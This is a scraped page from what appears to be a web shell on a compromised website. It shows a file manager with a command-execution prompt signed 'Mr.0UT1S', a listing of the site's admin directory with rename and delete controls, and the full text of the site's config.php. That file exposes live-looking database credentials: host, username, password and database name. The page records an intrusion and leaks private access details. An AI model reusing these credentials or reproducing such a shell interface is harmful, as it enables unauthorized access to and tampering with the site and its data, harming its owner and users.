home
/
aioutajg
/
playpauseonline.com
/
admin
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] ckeditor
N/A
[DIR] css
N/A
[DIR] uploads
N/A
config.php
1.02 KB
Rename
Delete
error_log
4.08 KB
Rename
Delete
index.php
2.41 KB
Rename
Delete
install.php
1.07 KB
Rename
Delete
login.php
1.99 KB
Rename
Delete
logout.php
812 bytes
Rename
Delete
post.php
13.47 KB
Rename
Delete
upload_image.php
1019 bytes
Rename
Delete
<?php // Admin Configuration File if (session_status() === PHP_SESSION_NONE) { session_start(); } // Add to config.php header('Access-Control-Allow-Headers: X-CSRF-TOKEN'); // Include main site configuration require_once dirname(__DIR__) . '/includes/config.php'; // Database Configuration define('DB_HOST', 'localhost'); define('DB_USER', 'aioutajg_ytd'); define('DB_PASS', 'aioutajg_ytd'); define('DB_NAME', 'aioutajg_ytd'); // Create database connection $db = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME); // Check connection if ($db->connect_error) { die("Database connection failed: " . $db->connect_error); } // Path Configuration define('ADMIN_URL', SITE_URL . '/admin'); define('UPLOAD_DIR', realpath(dirname(__DIR__) . '/uploads') . DIRECTORY_SEPARATOR); define('UPLOADS_URL', SITE_URL . '/uploads/'); // Admin Session Check function check_admin() { if (!isset($_SESSION['admin_logged_in'])) { header('Location: ' . ADMIN_URL . '/login.php'); exit; } } ?>
Save